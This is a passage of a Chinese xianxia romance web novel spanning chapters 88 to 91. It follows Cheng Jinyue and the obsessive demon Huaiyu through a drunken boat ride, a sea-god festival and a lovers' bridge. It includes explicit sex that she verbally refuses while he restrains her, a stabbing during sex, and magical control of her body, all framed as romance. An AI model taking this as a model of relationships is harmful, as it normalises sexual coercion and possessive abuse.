“你先放开我。”程今越冷冷的。 “我不要,这样你就会逃走的……你就会不要我的……” 他埋进程今越的脖颈之中。 “我不会的,我要是逃走了,你可以再把我抓回来。” 程今越将脸上的冰冷的笑稍微温和了一些。 “我不信。” 他笑起来,双眼弯弯,风吹动他耳坠上的流苏。 程今越心中怒火又燃起来,又想给他一巴掌,但是她又收敛住了。 这样有什么好处?怀钰浑身硬得要命,根本是一个怪物,不仅会让她的手剧痛,还会让这个疯子爽到。 “卖酒咯!上好的清若空,品质独特,百年老店!” 叫卖声从岸边传来,敲锣打鼓的,格外响亮,程今越忍不住抬头看了一眼。 浓烈的酒香飘逸开来,通透又醇厚,一闻便可知这是上好的品质。 她听过那一首诗,“琴奏龙门之绿桐,玉壶美酒清若空”,这个酒名倒是格外独特。 她转头看向岸边,靠着河边的一家店铺前竟然排了几十上百人的长队,络绎不绝,热闹非凡。 “船家!”怀钰看到了程今越的眼神,他立马叫住了船夫。 船夫停下了手中的动作,连忙笑盈盈地往后靠着,静候着吩咐。 “二位是要喝醉梦坊的清若空吗?” 船夫是个格外机灵的人,只需一看,便能明了对方心意。 “二位可真是有眼光,这清若空可是我们这儿的名酒,只有我们宁城才酿,并且,只有秋天才有,也就是海神祭典这些日子,二位真是有缘分啊!” “喝了清若空,便会如这酒的名字一般,思绪清飞,忧虑空空,暂离人间的琐碎,逃脱红尘的束缚!” “所以来买的人,可以说是络绎不绝!” 怀钰点了点头,手中抛出五块灵石,扔到船夫的手中。 “我现在就要,你随便买,多的算你的。” 他漫不经心地笑着。 本来买酒这种事情,应该是怀钰亲自做的,他喜欢为程今越付出的样子,这会让他觉得被需要。 被需要是一件特别幸福的事情,特别是被程今越需要。 不过他现在不能放开程今越,因为一旦放开她,程今越就会像风一样从他的手中溜走,抛弃他。 船夫看着手中这沉甸甸的灵石,心瞬间都要跳到了嗓子眼。 灵石可不是谁人都能得到的,只能是那仙人使用的! 像凡间,人们大多数使用的还是银子和铜钱。 船夫立马点头哈腰,停下船便直奔醉梦坊,没过一会儿,几壶清若空便到了程今越的手上。 用精巧的瓷瓶装着,每一壶都不多,价格倒是格外昂贵。 怀钰放开程今越,让她从自己的身上下去,轻轻放在他的身旁。 身前的木桌上摆上了水果和吃食,怀钰将清若空倒在杯子上,递给了程今越,又给自己也倒了一杯。 浓醇的酒香溢出,冲进程今越的鼻腔之中,光是闻一闻,便让人有了醉意,想必是格外烈的酒。 怀钰侧过头看着程今越,“干杯吧,小越。” 他举起了酒杯。 月色朦胧下,程今越看见怀钰笑着,带着少年气。 她也举起了酒杯,和怀钰轻轻碰杯,酒水荡漾,随后她一饮而空,干净利落。 先入口,只觉得醇厚,带着浓浓的酒香,而后喉咙便是辛辣涌上来。 果然是烈酒。 但是又让人着迷。 程今越很少喝酒,除了其他的人逼她喝。 她不喜欢喝醉的感觉,这会让一个人放松警惕。其他人可以这样,但是她不可以,因为她要活着,要过得胆战心惊。 所以她喝醉的次数一只手都能数得过来。 她喝了一杯,便又给自己倒了一杯,一饮而尽。 一杯接一杯,程今越觉得有热意从心口处开始蔓延,整张脸变得滚烫,从舌尖到脑子里都开始烧灼起来。 “小越,你很喜欢吗?” “那我把酿酒的人带到魔界,以后我们每天都可以喝,好吗?” 怀钰看着程今越,眼中满是笑意。 此时程今越歪着脑袋,随意地点点头,脸色红润微醺,娇艳的唇上沾染些微酒珠,双眼迷蒙地眺望着远处。 怀钰将程今越扶住,他一口也没喝。 他从来没有见过程今越喝醉,或者说程今越几乎从来不喝酒。 程今越是一个做事很谨慎的人,她不会在其他人面前随意喝醉,她活得一直都小心翼翼。 怀钰的脸上笑更加深邃,他听到自己的心跳得很快。 程今越的酒量真够差的,这才喝了几杯,便成了这样。 程今越手撑着下巴,眼神朦胧,她干脆不要了杯子,直接举起了酒瓶,猛地灌了进去,然后猛地咳嗽着,到最后眼泪都呛出来。 “小越,你心情不好吗?” 怀钰小心翼翼地问着,将程今越抱住,轻轻地拍着她的后背。 “没有,我心情很好。” 程今越笑起来,俏丽的脸颊通红一片,潋滟着醉意的眼眸荡漾着光。 “小越开心,我就开心,我陪你喝。” 怀钰也拿起另外一瓶酒,学着程今越的样子,往喉咙里灌。 这条河贯穿了宁城最繁华的地带,但也随着夜色渐深,人群逐渐稀少起来。 夜晚的风从河上吹来,带了些凉意,吹在程今越的脸上,让她朦胧的眼睛稍微澄澈了一些。 怀钰看见程今越被风吹得轻轻颤抖了一下,他立马将程今越抱在怀里。 怀钰体型颀长,轻松就能将程今越包裹起来,带着紧实肌肉的手臂将程今越搂住。 程今越撞在他厚实的胸膛之中,格外温暖。 程今越微微叹气,醉意上头。 不是说好会忘掉忧愁吗?不是说好会逃离红尘吗? 可是为什么程今越的心口却闷闷的,她的喉咙哽咽着,鼻子酸酸的。 越是醉,她便越想起曾经的事情。 她想起朦胧灯光之中,母亲对她笑。 她记得母亲对她说,“新的一年,小越要永远开心。” 现在已经是秋天了,离新年好像也不远了。 她的头有些痛,过去的记忆变成碎片,在她的脑海里频繁浮现着。 程今越很少去怀念过去,她喜欢向前看。 当然,也有可能是能回忆的事情太少了,大多都是痛苦的记忆。 而且回忆起来,也只不过是徒增悲伤,她不能告诉任何人,只能自己一个人静静消化。 怀钰对情绪十分敏感,他能够感知到程今越的悲伤,但是他没有开口说话。 因为他太笨了,他不知道该说些什么好,他害怕又惹程今越不开心,也不知道自己从什么立场上来安慰她。 他只是紧紧地抱着程今越,将身上的温暖传递给程今越。 不知道出于什么,或许是反正也无法挣脱怀钰,或许是她觉得怀钰也有些可怜,又或许是她也好久没有和别人拥抱过了。 她伸出手,将头埋进怀钰的胸膛之中,紧紧回抱着怀钰。 她鼻子有些酸,眼泪盈在眼眶之中。 但是她又觉得有些好笑。 因为她是最没有资格这样拥抱怀钰的。 她是骗怀钰,伤过怀钰,现在还在利用他,最后也一定会杀掉他。 可是她现在却忍不住珍惜这世间仅存的爱意。 “怀钰,我从来没有告诉过我以前的事,不是我不说,只是因为真的没有什么好说的。” 她不知道自己为什么要说这些话,她其实根本没有向怀钰解释的必要。 或许是趁着醉意,或许是她已经很久没有过能说真心话的人了。 说不累是假的,她也是人。 “我不知道该对你的过去说些什么,我也没有资格告诉你什么,因为我懂得也不多。” “但是,我对我所做的一切,我都不后悔,如果再来一次,我还是会这么选。” 她没有抬起头,只是埋在怀钰的胸膛之中。 “如果能再来一次也很好啊,我就可以再遇见小越一次了。” 怀钰笑着,贴在程今越滚烫的脸庞。 程今越突然笑起来。 她不知道她真的将刀捅向怀钰,真的杀死他的时候,怀钰会又有多恨她呢? 恨这种感情很好啊,比爱更沉重,永远浓烈,永远纠缠。 “小越,和你待在一起,就很幸福。” “我喜欢抱着你,我喜欢靠近你,好幸福……” 怀钰觉得心里那个空洞的地方逐渐被温暖填满,一点一点生出血肉,发疯了似的想要更多的爱。 这种渴望是病态的,是疯狂的,是非程今越不可的。 微风轻轻呼啸着,四周逐渐归于寂静,船在河中轻轻飘着,像摇篮一般。 程今越觉得自己的头很痛,她知道自己喝醉了,她靠在怀钰的肩膀上,不知不觉地睡着了。 怀钰又扔了几块灵石给船夫,船夫安静地收了灵石,没有划桨,任由船飘着。 怀钰静静地抱着程今越,心跳得很快, 或许知道这样的日子以后可能再也不会有了。 他竟然一夜无眠。 第89章 “嫂嫂,我和哥哥谁更让你满意?” 海神祭有半个月的时间,程今越也不着急,反正她出行的目的也是来宁城养伤度假,只是中途被一个狗黏上了,她去哪儿这条狗都要跟着她。 程今越向来独来独往,有个人跟在屁股后面真是有些不习惯。 从前跟人来往,都是做了些伪装,披了身皮,做些什么说些什么倒也觉得没什么。 可在怀钰面前,她就是最初的她,没有任何的伪装,就好像是他们是一伙的一样。 如今距离海神祭还有三天的时间,程今越已经累了,她想赶紧把海神杀了,夺走海神之心,做她的无垢刀。 偏偏怀钰跟在身旁,不知道他做了什么,程今越竟然联系不上跟在她身边的暗卫了。 就算联系上了,对方就变得跟傀儡一样,连话都说不来。 程今越无语,抬手就给了怀钰一巴掌。 对方却兴奋地又将脸凑上去,乞求程今越再给他一巴掌。 “你就真的不怕萧极发现?”程今越气得想笑。 怀钰蹭在程今越的手上,整个人都往程今越身上靠着,刚刚的那一巴掌让他浑身颤抖,整个人滚烫僵硬起来。 “嫂嫂,你真的觉得我比哥哥差吗?” 怀钰抬起水灵灵的眸子。 “如果没有破魔铃,他已经死了,嫂嫂。” “到时候你就成寡妇了。” “不过没有关系,我会替哥哥好好照顾你的。” 眼前是萧砚修的脸,但是声音却是怀钰的,猩红的眸子在这一张脸上格外突出。 程今越嫌恶地甩开怀钰。 怀钰又紧巴巴地贴上来,死死地抱住程今越。 “哥哥能做到的事,我能做到,哥哥做不到的事情,我也能做到。” “嫂嫂,你不是想要海神之心吗?我们去海神祭吧。” “只有有情之人才能被海神看见,嫂嫂和我如此深情意切,一定会被海神看见的。” 怀钰开始吸吮程今越身上的气味,像剥开鲜花一样。 “我和你情深意切?” “你恨我恨之入骨,我对你毫无感情。” “怀钰,何必骗自己呢?” 程今越一脚踢在怀钰的身下,对方只是轻哼着,喉咙之中变得更加滚烫。 “程今越,你才是自己骗自己。” 程今越蹙着眉头,一双手又被怀钰宽大的手轻松扣了起来。 白色的手腕出现靡红。 “你放开我,给我滚!” 程今越怒斥。 怀钰却越靠越近,喉结滚动,呼吸深沉,嘴角处荡漾起笑意。 “嫂嫂,你今天有些不乖,有些惹怒我了,你得先帮我消消火才行。” 接近一米九的身体将程今越扼制住,透过薄薄的里衣,能看见怀钰背部宽厚的肩胛骨以及精瘦的窄腰。 怀钰滚*动着喉咙,毫不犹豫地弯下身子,耳坠上的流苏扫过程今越的脸,脖子,小腹,最后在大腿根处停了下来。 程今越抬头往窗外望去,外面白日当头,“你疯了?现在还是大白天!” “诶?嫂嫂是说喜欢晚上吗?” “晚上我也会好好满足嫂嫂的,您放心。” 水声与浑浊的气息又在屋内弥漫开来,程今越咬紧牙关,不让声音溢出来。 和怀钰待在宁城的十几天里,对方简直是疯子一样,根本不知疲倦。 程今越根本不知道她说了什么做了什么,又触到了怀钰的兴奋点。 或者说她只是站在那里,就会感受到怀钰身上的体温开始升高,气息变得灼热,脸上开始泛起绯红。 程今越本来根本不想这样的,但是耐不住怀钰学习能力太强。 天赋卓越,后天也格外努力,在此前,程今越从未见过这样好的天资。 只是几番下来,程今越便完全招架不住。 随着她的呜咽声,她浑身瘫软,想要推开怀钰休息休息,但是对方却不知疲倦地继续进行下一步。 “嫂嫂……才开始呢,这就不行了?” “你甚至还没有帮我消火呢,嫂嫂可真自私。” 怀钰弯着眼睛,骨节分明的大手放在程今越的腰上。 “别这么叫我,恶心……” “恶心吗?” “可是我看嫂嫂不是很喜欢吗?” 怀钰的体力太好,力道几乎是要让她坏掉,程今越的眼眸之中开始盈着泪珠,喉咙之中餍足舒服的声音忍不住溢了出来。 “你听到了吗,嫂嫂?” 怀钰特地捅破窗户纸。 程今越的眼睛已经快要不能聚焦,大脑一片空白。 “滚啊……” 明明是愤怒责备的话,在怀钰听起来却是娇嗔,让他浑身颤抖,有深刻浓郁的欲望自内心最深处点燃。 “我听到了哦,嫂嫂。” “我和嫂嫂明明就是世间最情投意合的一对,我们是天作之合,只是嫂嫂太嘴硬了,天塌下来了都有你的嘴顶着。” “嫂嫂分明就爱我。” “我和嫂嫂不也这么契合吗?” “还有谁比我更契合你吗?还有谁比我更加让你满意吗?” 怀钰眼眸微抬,看向眼神朦胧的程今越。 “你算什么……” 程今越的话还没有说完,像是报复性的冲击便一层层袭来。 让她剩下的话都变成了一段呜咽。 怀钰脸上的笑更加深邃。 他扶着程今越的后脑勺,让她看着自己,她越是退他越是进。 到了情深之处,怀钰却突然停下动作,笑着,情深地捧起程今越白皙的脸。 一双红色眸子直勾勾地盯着程今越。 “嫂嫂,你觉得,我和哥哥比起来,谁更厉害呢?” 他的声音低沉,带着蛊惑。 空虚感在程今越的深处,不断叫嚣着,她沉沉地呼吸着,怒着眼睛看着怀钰。 偏偏要在这种关键的时候停下来,恶心! 可越是看到程今越生气的样子,怀钰便越浑身颤抖,越兴奋。 “嫂嫂生气的样子好可爱……” 奇怪的声音从他的喉咙里发出来。 见程今越咬紧牙关,没有一丝要回答的意思,怀钰便再次进军,让花枝乱颤,最后又在最高节点上停下。 “回答我啊,嫂嫂。” 他恶劣地笑着。 程今越觉得自己要疯掉,她不断吞咽着,呜咽声从她的鼻腔之中溢出,泪水盈在她的眼眶,黑色的长发与怀钰的头发交织在一起。 “你……” 她不情不愿地从喉咙深处挤出一个音。 怀钰像是一只听到指令的疯狗,迅速动了起来。 “我是谁?” 他又问。 程今越死死抓住怀钰的手,指尖几乎要将他掐出血来。 对方脸上的笑却更加深邃。 “怀钰……” 程今越说完,便感受到一波一波的浪潮不断朝她打来。 像是奖励,又像是报复,带着剧烈的情感,复杂的爱恨情仇。 “嫂嫂听话的样子也好可爱……” “你为什么怎样都很可爱?我好爱你……小越……” 怀钰抱着她。 程今越抬头看着怀钰,愤愤地伸出手,掐住他的脖子,眼中的泪水还在盈着,像一只在水中挣扎的落水小猫。 她用尽了全身的力气,葱细的手死死掐住怀钰的喉咙,指尖扣在他的皮肉上,鲜血不断溢出。 “你去死……” 小猫挠人只能给对方带来不痛不痒的伤口,红色的痕迹在怀钰的脖子之中出现,暧昧至极。 怀钰却笑起来,低低的笑声从喉咙最深处传来,带着耳坠上的流苏一起颤抖。 有些癫狂,又有些病态。 “小越,再用力一点好吗?” “好爽……好喜欢……” 程今越的怒火中烧,她好想杀了怀钰,这副得逞的嘴脸,看起来真是让人恶心! 可惜她手中没有刀…… 像是提前知晓程今越的心意一样。 怀钰将一把刀递到了程今越的手中。 冰冰凉凉,与她身上灼热的气息形成了鲜明的对比。 依旧是那一把熟悉的刀,那把沾染了他们血的刀,由她的手不断进入过怀钰的血肉之中。 刀上的“越”字格外醒目。 她毫不犹豫,直接捅入了怀钰的体中,鲜血瞬间横流,落在她的身上。 白皙清冷的神女脸上沾满了红色的血,格外醒目反差。 怀钰瞬间爽得叫出声来,“小越……小越的刀又在我的身体里……” 鲜血一滴滴落在程今越的身上,将她白纱的衣裳污红,透进白色的肌肤之中。 宛若红烛落在了观音上。 禁忌又美丽。 两人的声音交织在一起。 程今越手中的刀越用力,怀钰的动作便越猛烈,让程今越几乎都快拿不稳刀。 “小越的身上都是我的东西……好美……” 都是他身上的血。 “闭嘴!” 程今越心中的火一层又一层。 奈何她面前的是一个疯子,骂也没用,扇也没用,捅刀子也没用。 越这样,对方反而越兴奋。 她所做的一切,都会被怀钰用实际行动反馈到她自己身上。 “你真让人恶心!” “你快去死!” 程今越不断骂着。 泪水从她眼角流出,楚楚可怜,带着怒火。 但不知道到底是因为怒还是其他什么东西带来的眼泪。 “我恨你,我恨你,我恨你,我恨你!” 程今越骂着。 “恨我吧,程今越。” “你恨我,我也恨你,这很公平。” “你一边恨我,一边抵挡不住身体对我的喜欢。” 他戏谑地笑着。 “恨我也好过抛弃我,丢下我,好过我们之间没有了联系。” “我是不会放过你的,我会死死地缠着你。” “我喜欢你恨我,我喜欢你对我极端又疯狂的感情。” 怀钰病态地笑着,死死抓着程今越。 随着声调上扬,滚烫的潮水掀起巨浪,打在海滩之上。 程今越浑身无力,她已经快要说不出话,她闭上眼睛,想要从怀钰的手中逃窜。 “跑什么?这就不行了?” “才开始呢。” 第90章 永远缠着你。 到海神祭的时候已经是下午了,程今越浑身酸涩,怀钰温柔地为她净身,用帕子轻柔地擦拭她的全身,经过的地方都留下红色的印记。 程今越恶狠狠地瞪着怀钰,怀钰却看着她的脸笑得更加灿烂,他俯下身,轻点在程今越红嫩地嘴唇上,得到程今越狠狠地一巴掌。 怀钰为程今越穿衣,丝毫不理会对方心中的气恼,像是饲养了一只小猫,对方越气他便越开心。 程今越惊讶地发现,怀钰竟然还会梳头。 他的手指格外灵活,骨节分明又修长,在她的发间穿梭,看起来格外熟练,指尖的温度十分舒适。 怀钰在镜中与程今越对视,笑眼弯弯,长而密的睫毛下,收敛起猩红的眼眸,如今看起来竟然澄澈得像一只乖巧的狗。 程今越注意到了怀钰脖子上的淤青,那是她亲手造成的。 “你脖子的伤忘了治好。” 她提醒道。 当然不是有多关心怀钰,只是因为不想和他出门一起的时候丢人。 “这个吗?” 怀钰低头,看着脖颈之上的淤青,红紫青黄的,晕染在皮肤之上,格外鲜艳。 “我很喜欢。” “这是小越赐予我的礼物,是我属于你的象征,我会好好珍惜的。” 他眯着眼睛笑着,像是抚摸珍宝一样,轻轻触碰着脖子的淤青。 程今越蹙着眉头,她就不应该说这个话。 怀钰轻轻按压了一下淤青,随后从喉咙之中传出一声呻吟。 挑着眉毛,享受又沉溺。 “你看,只要轻轻按压,我就会想起小越,想起小越把手放在我脖子之上的感觉,好温暖……好炽烈……” “真的好幸福啊……” 怀钰轻哼着,话音带着些许病态的笑意。 他喜欢这种能让他产生痛感的东西,喜欢摁程今越带给他的淤青,撕掉程今越带给他的伤疤。 从本能上,他的心脏便会紧缩带来刺痛。 疼痛让他想起程今越,想起她也曾在意过自己,想起他们带着阵痛的回忆。 疼痛让他感觉自己还活着。 好幸福…… “遮住,别被人看到了。”程今越再次提醒他,肯定的语气,不加任何疑问的语气。 “凭什么?我就是要让别人知道小越对我的爱,我要让所有人都知道。” 他歪头笑着。 程今越站起身,抬头看着怀钰,眉眼温柔,她轻笑着。 她伸出手,踮起脚尖,轻轻抱住怀钰,将头埋在他的颈窝之中。 “好吗,怀钰?” 她抬起水光粼粼的眼眸,看着怀钰。声音轻柔。 怀钰察觉到少女乖巧地缩在他的怀里,那么小,那么瘦,那么可爱,那么可怜…… 他呼吸瞬间乱了。 他立马紧紧抱住程今越,宽大的身躯要将程今越揉进骨子里。 “你在求我吗,程今越?” 他有些愣住,久违的感觉让他觉得有些不适应。 “不可以吗?” 程今越笑着。 怀钰顿了顿,他张口就想要答应程今越,但又觉得自己太廉价太贱了。 “好不好,怀钰?” “好……” 没有经过大脑思考,他的嘴脱口而出。 他果然就是这么贱,这么廉价。 程今越稍微低头,勾勾手,他就又舔过去了。 他用术法掩盖住了脖子上的淤青,但是淤青并未消失,他会好好保存着自己欣赏,连带着程今越今天在他身上留下的伤疤,都是他不可多得的珍宝。 他会好好珍惜的。 “小越……你已经好久没有这样抱过我了。” 会让他想起曾经他们刚认识的时候,程今越就是这样温柔地抱着他。 怀钰的眼眸瞬间湿润。 “走吧。” 程今越出了门。 …… 怀钰双手瞬间攥了起来。 “嗯好……走吧。” 海神祭在一个巨大的庙宇之中,庙宇连着山与海,海神像伫立在庙宇正中心,是一位外貌年轻的美丽女性,面色慈善温柔。 海神祭要接近尾声了,庙宇之中的人少了许多,但人也不算少,依旧热闹非凡。 并不同往常的庙宇,宁城的海神庙更加有异域风情,宽阔,建筑独特,但也结合了往常的元素,大殿巍峨,飞檐翘角,雕梁画栋。 程今越与怀钰容貌出众,身材高挑,站在人群之中让人不禁四处观望,眼中皆露惊异之色。 怀钰紧紧握住程今越的手,与她十指相扣,抬着头瞥过四周,嘴角忍不住上扬。 “小越,他们都很羡慕我们。” “按照习俗,第一件事应该是「结海缘」,也就是互相赠送海石,我们走吧。” 程今越拉着他往前走着。 “程今越,你又无视我的问题!” 怀钰低头看着程今越。 程今越却突然笑起来,笑声泠泠。 她翘着下巴,对着怀钰,“是啊,就是无视你。” “那你不要和我在一起啊。” 古灵精怪,恶劣从她的眸子里面流露而出。 怀钰却死死地抓住她的手。 “才不要!” “我告诉你,程今越,除了我,没有谁能接受你的无视的!” “特别是萧极和孟朝!” “我就要和你在一起,我们要永远永远在一起。” 他贴着程今越,生怕她从自己的身旁逃走。 “无聊。” 程今越冷哼着,嘴角的笑却掩盖不住。 远处是一片湛蓝,像是会呼吸一样,海浪随着程今越的心跳拍打着岸,无数条波动的涟漪柔柔密密,在光的照耀下波光粼粼。 干净又美好。 程今越朝海边走去,感受着咸湿的海风吹在她的脸上,吹起她的柔顺的长发。 她低头看着地上零零碎碎的鹅卵石,随手捡起来了一块放在手心之中。 平平无奇,没有任何的特点,单纯的石头的颜色,甚至还带着裂痕。 按照正常情况来说,是不会有人将这块石头送人的。 程今越却一笑,将这块石头放在怀钰的手中。 “送你的!” 她看着怀钰,期待着怀钰的怒火。 怀钰却突然瞪大眼睛,脸上的笑意完全抑制不住。他小心翼翼地捧着这块石头,放在阳光下不断端详着。 “小越,你好快,居然这么快就帮我挑选好了!” “他们都说,人们看到第一眼就喜欢的东西,就会送给心上人。” 程今越:? “没有,我随便拿的,上面还有裂呢,你没看到吗?” 怀钰仔细地看着。 “嗯,我看到的,这个裂痕真的很像一个心形诶,小越竟然随便一拿就拿到了最爱我的形状。” 程今越皱眉。 她凑过去仔细一看,这条裂痕还真挺像一个心形,甚至说有些标准。 …… 怎么会这样。 想要怀钰生气没有实现,程今越的心中反而生气起来。 她脸上的笑容瞬间消失。 “小越,这是我送给你的。” 怀钰笑着,手中出现一个檀木的小盒子。 程今越狐疑地看了怀钰一眼,将盒子打开,发现盒子之中躺了一对耳坠。 便是一瞥便知道做工精巧,用材珍贵。 最引人注目的便是这一颗红色的珠子,透过阳光,血如鱼一样在其中游动着,诡异又美丽。 和怀钰耳上的那颗珠子如出一辙。 “这也是海石做的,是宁城独特的品质最好的心石,喜欢吗,小越?” 怀钰殷勤地靠着程今越。 “小越以前也有这样的耳坠,在我们刚认识不久的时候。” “不过后面弄丢了,我现在又做了一对给你,是我亲手做的。” 怀钰笑着。 这让程今越回忆起以前,她记得。 为了得到怀钰的气息,和他神识进行沟通,她用怀钰的血做了一对耳坠,一直都戴在耳旁。 不过后来在大衍剑宗被灭的那一日,耳坠丢了。 程今越拿起耳坠,看了又看。 “我不喜欢。” 她冷冷道,又抬眸看了怀钰一眼。 怀钰摇摇头,笑着,“不喜欢也没关系,这是我送给你的东西,你想怎么处置都可以。” 程今越又抬眸看了他一眼。 脸上没有一丝不满,猩红的双眸也隐藏得很好,笑眼弯弯,若从外貌看起来,真以为是一个有礼温柔的少年郎。 “是吗?这可是你说的。” 程今越将耳坠拿起,毫不犹豫,一把扔向海里。 她看着怀钰的反应。 竟然没有一丝变化。 脸上的笑意甚至更加深,喉结缓慢滚动着,眼睛直直地盯着程今越。 暖光洒在他的身上,程今越却觉得浑身发寒。 随后,她觉得手中又有什么东西,她抬起手一看,刚刚被她丢掉的那一对耳坠再一次出现在了她的手中。 她心脏骤停。 然后难以置信地看着怀钰,随后又气笑了。 “这就是你说的随意处置?” 怀钰笑着,“当然,它是随你处置的。但是它也很爱你呀。” “它是由我的血做成,因为我很爱你,它也会很爱你,因为我全身上下所有的东西,都爱你。” “因为爱你,所以它也有自己的意识,它不想离开你,它也想依赖你。” “它不会因为你的抛弃而难过,只会一次一次地回到你身边,缠着你,像厉鬼一样。” 程今越抬手给了怀钰一巴掌。 怀钰却轻笑着。 “去死吧。” 她愤愤地转身离去,却被怀钰抓住。 “走吧,我们去渡情桥。” 法力从怀钰的手中蔓延而出,控制住程今越的全身。 程今越觉得浑身丝毫不受控制,乖巧地回握住了怀钰的手,贴在他的身旁,朝情人桥的方向走去。 “我一定会杀了你的。” “好啊,我很期待哦,小越。” 怀钰笑着。 暖阳落在二人身上,微风吹拂着,让人心旷神怡。 “小越,等他们都死了,我们就经常来海边散步吧。” “和你待在一起,好幸福。” 他又忍不住开始幻想和程今越的以后。 人在特别幸福,就是忍不住想象以后。 特别是怀钰。 因为在遇到程今越之前,他连幸福是什么都不知道。【魔蝎小说 mo xie xs .c om】 90-100 第91章 以后或许就没有机会了。 程今越一路行至情人桥,路上人潮涌动。 程今越的手被怀钰紧紧握住,他手格外大,一把就能包裹住程今越的手。 白皙的耳垂上还是挂上了那一对新做的耳坠,在阳光下摇曳生姿,鲜红映衬着雪白的肌肤,格外适合程今越。 所谓的情人桥,其实本来是不叫情人桥的,传闻之中,海神她的丈夫便是两个村落的人,相距甚远,被这一条宽阔的河阻拦住,只能翻越高山才能相见,两人不辞辛苦,翻越高山,来回往返无数次,最终感动了神仙,给这两人修建了这座桥,有情人终于能够轻松见面。 为了纪念二人,这座桥便称为情人桥。 程今越远远地望去,是一条悠悠流淌的河水,一座古朴的桥横卧其上,有些窄,但格外长,横跨了一条宽阔的河水。 这座桥由青砖堆砌而成,桥身布满坑洼与斑驳,桥栏上雕刻了些简单又古朴的图案,已经有些模糊了,充满了历史的厚重感。 “这个就是情人桥吗?” 没有任何特别的地方。 或者说她见过很多的名胜古迹,到了实际的地方,都觉得并没有传闻那样神奇。 “是啊,我们上去吧。” 怀钰拉着她的手就要往前走。 “可是你不觉得这个桥看起来没有任何的区别吗?” “有啊。” “哪儿。” “和你一起的啊。” 怀钰轻笑着。 “可我记得你以前从来不信这些神佛。” 当然,程今越也不信,故弄玄虚的东西。 “是,我从来不相信这些所谓的神佛,不信这些虚无缥缈的东西。” “要是神佛真的有用的话,我也没有遭到庇佑啊。” 怀钰摊摊手。 “不过后来,我开始信了,因为我的的确确得到了一位神佛的庇佑。” 怀钰弯着腰,看向程今越,耳坠上的流苏随风飘逸着。 鲜艳,让人移不开眼睛。 程今越狐疑地瞥了他一眼。 “什么。” “大衍神女。” 怀钰斩钉截铁。 “这是我,乃至世间平民百姓都信仰的神佛,她慈悲宽容,洞察世间一切因果,明了众生所有信念。她不分贵贱贤愚,无论男女老少,凡有所求,皆能闻声救苦,应化无边。” 怀钰的眼睛闪烁着光,声音轻柔温和,话音中带着无尽笑意。 风吹起少年的长发,他的眼中满是希冀。 “无聊。” 程今越忍不住笑出声来。 从不信神佛,斩杀无数神佛的魔神大人,竟然也会虔诚地信仰一位神佛? 荒诞离奇。 程今越听到远处有人在吹笛子,心绪也随之飘动。 “如果是和小越在一起,我愿意去相信这些东西。” “并且我希望他们成真。” 怀钰抬头看着这座桥,又一边转头看向程今越。 两人行走在路上,两边栽种了许多花树,都是程今越不认得的种类,粉红鲜艳,花团锦簇,风吹过来,粉色的花瓣吹到了程今越的身上,落在程今越的头发上。 怀钰轻轻将她头上的花瓣取下,小心翼翼。 程今越不知道应该说什么。 若是对方不熟悉她,她可以说很多好听动人的话,我爱你和我喜欢你这种话,从她嘴里说出来是格外轻松的。 若是对方出口是刻薄的话,她也有很多回击的办法。 可惜对方是怀钰。 他清晰知道她的恶劣,知道她的本性,她所有的伪装都没有意义。 但爱的话她也说不出口,因为或许根本就没有这种东西,并且他们也没有以后。 命中注定,他们就不是一条路的人。 如果注定要失去这朵花,程今越会直接从根源斩断它的生长。 不知从什么时候开始,能言善辩的程今越也会有沉默寡言的时刻。 所有的话都堆到喉咙里,她不知道应该说什么。 好像说什么都词不达意。 于是只能沉默。 但是怀钰不在意这件事,程今越不知道他是怎么想的。 少年只是牵着她的手,像从前很多次一样,从其他的情侣一般,走上了情人桥。 按照习俗,他们用红纱绑住眼睛,若是顺利无阻碍也没有摔倒就能到情人桥的另一端,那便证明两人的爱情可以天长地久。 “跟我走吧,小越。” 怀钰紧紧攥着她的手。 程今越眼睛被蒙上,她看不清眼前的路,只能跟随着怀钰的步伐往前走。 习惯是一件非常恐怖的事,就连程今越自己也不免失神。 或许是他们在一起杀了太多人,又或许是因为过去的经历,或许是怀钰太强。 当怀钰站在她身边时,奇怪的信任就这样建立起来。 程今越知道怀钰可靠,值得信任,他会成为自己手中的刀,挡在她的身前,杀了所有人。 于是,毫无阻碍地。 就连程今越自己都没有反应过来。 他们二人就像是没有蒙住眼睛一样,一路顺遂地到达了桥对岸。 额心有颗痣的姑娘站在对面,她负责维持这里的秩序。 看到二人如此顺利地过桥,她不禁小跳步走到二人面前。 “公子姑娘真是好默契,我在这管了大半个月,你们是我见到第一对如此顺利到达桥对岸的。” “没有摇晃,没有撞倒,更没有走错方向,想必二位对彼此是十足的信任与十足的爱啊!” 她感叹着。 “根据规定,面对如此默契的情人,我们将送给二位两条红丝绸。” “想必二位知道,海神庙之中有相思树,将话写在红丝绸上,便可以系上相思树上,海神便会保佑二位的!” 对方一边说,一边将红丝绸递给程今越与怀钰。 程今越听过这个故事,并且这个红丝绸是带了法力,将字写上去后,便会隐形,若是不专门用术法查看,是不能知道丝绸上写了什么东西的。 因为海神祭典有个习俗,“愿望说出来便不灵了”。 心愿要藏在心中,这点倒是很像人间的习俗,内敛含蓄。 这便是最后一段行程了,倒是免了程今越自己再去买。 “小越,我们是拥有十足的信任和十足的爱的!” 路上,怀钰笑着。 “谁跟你有十足的信任和十足的爱。” “你有法力,我也有,蒙着眼睛过桥是什么困难的事吗?” 程今越不想承认。 那人给二人指了一条近路,程今越朝相思树走去。 她走在路上,才发现宁城的路上栽种了许多粉色花瓣的树。 她询问了路人,才知道这个树名叫轻棠树,依旧是宁城爱情的象征。 花瓣纷纷扬扬飘落,将寺庙之中的石板路铺城一条梦幻的路,光辉璀璨,令人目眩神迷。 没过多久,人越发多了起来,程今越远远望去,发现相思树其实是一棵巨大的轻棠树。 粉色的花开了一整树,随着风吹,花枝乱颤,程今越能闻到这清新的香味,沁人心脾。 树枝之上挂了千千万万条红色的丝绸,在风中飘逸着,树枝之下,站在虔诚的男男女女,或思或笑,或二人相望。 程今越能从这棵树上感受到浓烈的愿力。 程今越身姿单薄,黑发落在腰间,在树下显得格外宁静美好。 她的眼睛像是暖沁的润玉,在抬头看向相思树时,怀钰看到她的眼里染上了滂沱的亮色。 “你想写什么?” 程今越问。 “小越,愿望说出来就不灵了。” 怀钰拿着红丝绸笑着。 “那你不写愿望就好了。” “那写什么?” “写我想对你说的话吗?” “随便你。” 程今越拿着笔,看着眼前的红丝绸,心中踌躇。 “那小越有什么愿望呢?” 怀钰又问。 “我吗?” “我没有什么愿望。” 如果是对怀钰的话。 “那小越也写对我想说的话吧,我们两个都写这个。” 对怀钰要说的话? 程今越顿住了。 